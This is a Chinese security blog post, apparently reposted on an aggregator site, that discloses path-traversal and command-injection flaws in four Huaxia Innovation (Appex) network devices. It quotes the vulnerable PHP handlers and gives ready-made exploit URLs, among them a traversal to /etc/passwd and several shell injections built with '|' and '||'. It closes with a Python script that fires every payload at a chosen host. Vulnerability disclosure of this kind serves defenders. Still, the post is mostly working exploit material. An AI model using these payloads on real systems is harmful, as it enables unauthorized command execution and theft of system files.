IT博客汇
  • 首页
  • 精华
  • 技术
  • 设计
  • 资讯
  • 扯淡
  • 权利声明
  • 登录 注册

    华夏创新四种设备存在命令执行以及文件遍历

    没穿底裤发表于 2016-01-23 06:41:43
    love 0

    1.任意文件读取

    /tmp/appexcfg/www/acc/vpn/download.php

    <?php
        $file = $_REQUEST['f'];
        if(!file_exists('/www/cert/'))//判断目录是否存在
            mkdir('/www/cert/');//不存在就创建
        if(!file_exists("/www/cert/$file"))//如果存在目录
            copy("/etc/easy-rsa/keys/$file", "/www/cert/$file");//复制文件
             
        header('Content-type: application/x-msdownload');
        header('Content-Disposition: attachment; filename="' . $file . '"');
        readfile("/www/cert/$file");//读取文件
    ?>

     

    没有对这个过程做任何处理。直接遍历任意文件。利用文件遍历可以做一些其他的事情

    2136738738[1]

    2.命令执行一

    /tmp/appexcfg/www/acc/network/redial_pppoe.php

    <?php
    require_once dirname(__FILE__)."/../common/appexConfigInterface.inc";
    //全局包含文件
    $appexInterface = new AppexConfigInterface();
    $wanName = $_GET['wan'];
    $appexInterface->ifDownInterface($wanName);//调用ifDownInterface处理$wanName
    $appexInterface->ifUpInterface($wanName);//调用ifUpInterface处理$wanName
    ?>

     

    在common/appexConfigInterface.inc中查看下ifDownInterface与ifUpInterface的方法

    public function ifDownInterface($ifName){      
        $command = sprintf ( $this->ifDownCmdFormat, $ifName );
        //echo ($command);
        execute ( $command );//经过ifDownCmdFormat后直接执行了
    }
     
    public function ifUpInterface($ifName){        
        $command = sprintf ( $this->ifUpCmdFormat, $ifName );
        //echo ($command);
        execute ( $command );//经过ifDownCmdFormat后直接执行了
    }

     

    然后查看前面的private $ifDownCmdFormat = “/sbin/ifdown %s > /dev/null”;

    那么执行的方式就出来了。使用||来联合执行。wan=a|echo%20test>testvul.txt||

    测试url: http://192.168.1.1/acc/network/redial_pppoe.php?wan=a|echo%20test>testvul.txt||

    2050513790[1]

    1395869217[1]

    命令执行2

    /tmp/appexcfg/www/acc/tools/enable_tool_debug.php

    <?php
    require_once dirname(__FILE__)."/../common/commandWrapper.inc";
    error_reporting(E_ALL ^ E_WARNING ^ E_NOTICE);
    $val = $_GET['val'];
    $tool = $_GET['tool'];
    $par = $_GET['par'];
    runTool($val,$tool,$par);
    ?>

     

    在common/commandWrapper.inc中查看下runTool

    function runTool($val,$tool,$par){
        if($val=="0"){
            UciUtil::setValue('system', 'runtool', 'tool', $tool);
            UciUtil::setValue('system', 'runtool', 'parameter', $par);
            UciUtil::commit('system');
            if($tool=="1"){
                exec('ping '.$par.'>/tmp/tool_result &');
    //当val=0且tool=1的时候执行ping

     
           }else if($tool=="2"){             exec('traceroute '.$par.'>/tmp/tool_result &'); //当val=0且tool=2的时候执行traceroute

     
           }     }else if($val=="1"){         $tool=UciUtil::getValue('system', 'runtool', 'tool');         if($tool=="1"){             exec('killall ping ');//如果val=1且tool=1的时候执行killall ping         }else if($tool=="2"){             exec('killall traceroute ');//如果val=1且tool=2的时候执行killall  traceroute         }         UciUtil::setValue('system', 'runtool', 'tool', '');         UciUtil::setValue('system', 'runtool', 'parameter', '');         UciUtil::commit('system');         exec('echo "">/tmp/tool_result');     }       }

     

    因此必须是enable_tool_debug.php?val=0的前提下才可以执行命令tool=1&par=-c 127.0.0.1 || echo test >test1.txt ||a

    直接请求/acc/tools/enable_tool_debug.php?val=0&tool=1&par=-c%201%20localhost%20|%20echo%20testvul1%20>%20testvul.txt%20||%20a

    查看testvul.txt内容有testvule即可

    2479593397[1]

     

    命令执行3

    /tmp/appexcfg/www/acc/debug/bytecache_run_action.php

    <?php
    require_once dirname(__FILE__)."/../common/commandWrapper.inc";
    require_once dirname(__FILE__)."/../common/UciUtil.inc";
    $action = $_GET['action'];
    $engine = $_GET['engine'];
    $ipfilter= $_GET['ipfilter'];
    if($action=="1"){
        $ipFilterArray = split("[/.]",$ipfilter);            
        for($m =0 ;$m<4 ;$m++){
            if($ipFilterArray[$m]>15){
                $ipFilterArray[$m]=dechex($ipFilterArray[$m]);
            }else{
                $ipFilterArray[$m]="0".dechex($ipFilterArray[$m]);
            }
        }
         
        $ipFilterNum =$ipFilterArray[0].$ipFilterArray[1].$ipFilterArray[2].$ipFilterArray[3];
        UciUtil::setValue('appex', 'sys', 'BCDebugEngineId',$engine);
        UciUtil::setValue('appex', 'sys', 'BCDebugIpFilter',$ipfilter);
        startByteCacheDebug($engine,$ipFilterNum);需要查看下startByteCacheDebug函数
    }else{
        $engine = UciUtil::getValue('appex', 'sys', 'BCDebugEngineId');
        stopByteCacheDebug($engine);
    }
     
    ?>

     

    从common/commandWrapper.inc里面看看startByteCacheDebug

    function startByteCacheDebug($engine,$ipFilter){
        $command = "/tmp/appexcfg/bin/apxdebug.sh start "." ".$engine." ".$ipFilter." & "; 
        execute($command);
    }
     
    //这里就engine可控
    function stopByteCacheDebug($engine){
        $command = "/tmp/appexcfg/bin/apxdebug.sh stop "." ".$engine." & ";  
        execute($command);
        //echo $command;
    }
    //这里也是就engine可控

     

    直接贴上利用/acc/debug/bytecache_run_action.php?action=1&engine=test’|echo testvul>bug.txt||’a

    命令执行4

    /tmp/appexcfg/www/acc/bindipmac/static_arp_list_action.php

    $ethArr =  $_REQUEST["sysArpEth"];
    $ipArr =  $_REQUEST["sysArpIp"];
    $macArr =  $_REQUEST["sysArpMac"];
    $isAddArr = "";
    if(isset($_REQUEST["chkSysArpList"])){
        $isAddArr =  $_REQUEST["chkSysArpList"];
    }
    $len = count($isAddArr);
    for($m=0;$m<$len;$m++){
         
        $isAdd =  $isAddArr[$m];
        $isBind =  "1";
        $arpDao = new ARPDao();
        $arpModel= new ARPModel();
        $arpModel->setIfname($ethArr[$isAdd]);
        $arpModel->setAlias($ipArr[$isAdd]);
        $arpModel->setIp($ipArr[$isAdd]);
        $arpModel->setMac($macArr[$isAdd]);
        $arpModel->setIsbind("1");
        $arpDao->addARPConfig($arpModel);//主要查看下addARPConfig
    }

     

    根据对应的名字,在/acc/common/config/dao/arpDao.inc里面查看到了addARPConfig

    public function addARPConfig($arpModel){
        $ipNum = bindec(decbin(ip2long($arpModel->getIp())));
        $arpName = $arpModel->getIfname()."arp".$ipNum;
        $arpModel->setName($arpName);
        $closeImmediately = false;
        if (! isset ( $this->dbWrapper )) {
            $this->openConnection ();
            $closeImmediately = true;
        }
        $sql = "select count(*) as num from " . IP_BIND_MAC_TABLE . " where ARPNAME='".$arpName."';";
        $this->dbWrapper->prepare ( $sql );
        $this->dbWrapper->execute ();
        $arpNum =0;
        if ($row = $this->dbWrapper->fetch ()) {
            $arpNum = $row ['num'] ;   
                 
        }
         
        if ($arpNum==0) {
            $this->saveARPConfigToDb($arpModel);    
        }else{
            $this->updateARPConfigToDb($arpModel,$arpName);         
        }
         
        if ($closeImmediately) {
            $this->dbWrapper->close ();
            unset ( $this->dbWrapper );
        }
         
        $ifName = $arpModel->getIfname();
        $showIfName = "";
        $setName = $ifName;
        if(strpos($ifName,"vid")>-1){         
            $vArray = split ( 'vid', $ifName );
            $veth = $vArray[0];
            if(strpos($veth,"br")>-1){
                $veth = "br-".$veth;
            }
            $vid = $vArray[1];
            $showIfName = $veth.".".$vid;
        }else if(strpos($ifName,"br")>-1){        
            $showIfName='br-'.$ifName;
        }else{
            $showIfName=$ifName;
        }
         
        $arpConfigDAO = new ArpConfigDao ( );
        if($arpModel->getIsbind()==1){              
            $arpConfigDAO->setArpConfigValue($arpName, "arp");
            $arpConfigDAO->setArpConfigItemValue ( $arpName, "ifname", $showIfName);
            $arpConfigDAO->setArpConfigItemValue ( $arpName, "ipaddr", $arpModel->getIp());
            $arpConfigDAO->setArpConfigItemValue ( $arpName, "mac", $arpModel->getMac());
            $arpConfigDAO->setArpConfigItemValue ( $arpName, "isbind", $arpModel->getIsbind());
             
            $arpConfigDAO->commit();
                 
            $dhcpHostName = $arpName;
            $dhcpDAO = new DHCPDao() ;
            $dhcpDAO->setDHCPConfigValue($dhcpHostName, "host");
            $dhcpDAO->setDHCPConfigItemValue( $dhcpHostName, "name" ,$dhcpHostName);
            $dhcpDAO->setDHCPConfigItemValue( $dhcpHostName, "ip" ,$arpModel->getIp());    
            $dhcpDAO->setDHCPConfigItemValue( $dhcpHostName, "mac" ,$arpModel->getMac());
            $dhcpDAO->setDHCPConfigItemValue( $dhcpHostName, "ifname" ,$setName );        
            $dhcpDAO->commit();         
            $this->delARPToSystem($arpModel);//前面是数据库的部分,剩下delARPToSystem与   addARPToSystem
            $arpModel->setIfname($showIfName);
            $this->addARPToSystem($arpModel);
        }
         
    }

     

    在后面看到了addARPToSystem与delARPToSystem相关的定义

    public function addARPToSystem($arpModel){
        $tmpIfName = $arpModel->getIfname();
        $setName = '';
        if(strpos($tmpIfName,"vid")>-1){          
            $vArray = split ( 'vid', $tmpIfName );
            $tmpIfName = $vArray[0];
            $veth = $vArray[0];
            if(strpos($veth,"br")>-1){
                $veth = "br-".$veth;
            }
            $vid = $vArray[1];
            $setName = $veth.".".$vid;
        }else if(strpos($tmpIfName,"br")>-1){ 
            if(strpos($tmpIfName,"-")>-1){    
                $setName = $tmpIfName;
            }else{
                $setName = "br-".$tmpIfName;
            }              
        }else{
            $setName=$tmpIfName;
        }
        $ipNeighCmd = "ip neigh add %s lladdr %s dev %s  >/dev/null";
        $command = sprintf ( $ipNeighCmd, $arpModel->getIp() , $arpModel->getMac(), $setName );
        execute ( $command );//再遇执行。获取到IP,MAC,机器名等
    }
     
     
    public function delARPToSystem($arpModel){
         
        $ipNeighCmd = "ip neigh del %s lladdr %s dev %s  >/dev/null";
        $command = sprintf ( $ipNeighCmd, $arpModel->getIp(), $arpModel->getMac(), $arpModel->getIfname()  );
        execute ( $command );//依旧执行
    }

     

    依旧贴上利用:

    acc/bindipmac/static_arp_list_action.php?chkSysArpList[0]=0&sysArpEth[0]=1%27%20and%200%20union%20select%20%27a||echo%20testvul>testvul.txt||b--&sysArpIp[0]=1&sysArpMac[0]=1

     

    依旧匹配testvul。附上测试脚本

    #!/usr/bin/env python 
    # -*- coding: utf-8 -*-
    import requests
    def verify(arg):
        payloads = [
            arg + 'acc/network/redial_pppoe.php?wan=a|echo%20testvul>testvul.txt||',
            arg + 'acc/debug/bytecache_run_action.php?action=1&engine=test%27|echo%20testvul>testvul.txt||%27a',
            arg + 'acc/bindipmac/static_arp_list_action.php?chkSysArpList[0]=0&sysArpEth[0]=1%27%20and%200%20union%20select%20%27a||echo%20testvul>testvul.txt||b--&sysArpIp[0]=1&sysArpMac[0]=1',
            arg + 'acc/tools/enable_tool_debug.php?val=0&tool=1&par=-c%201%20localhost%20|%20echo%20testvul>testvul.txt%20||%20a',
        ]
        verifys = [
            arg + 'acc/network/testvul.txt',
            arg + 'acc/debug/testvul.txt',
            arg + 'acc/bindipmac/testvul.txt',
            arg + 'acc/tools/testvul.txt',
        ]
        for i in range(len(payloads)):
            payload = payloads[i]
            verify = verifys[i]
            response = requests.get(payload)
            if response.status_code == 200:
                response1 = requests.get(verify)
                if response1.status_code == 200 and 'testvul' in response1.content:
                    print payload+"存在命令执行漏洞"
        payload = arg + 'acc/vpn/download.php?f=../../../../../../etc/passwd'
        response3 = requests.get(payload)
        if response3.status_code == 200 and 'root:x:0:0:' in response3.content:
            print payload+"存在任意文件遍历漏洞"
         
    if __name__ == '__main__':
        host = str(sys.argv[1])
        verify(host)

     

    695979147[1]



沪ICP备19023445号-2号
友情链接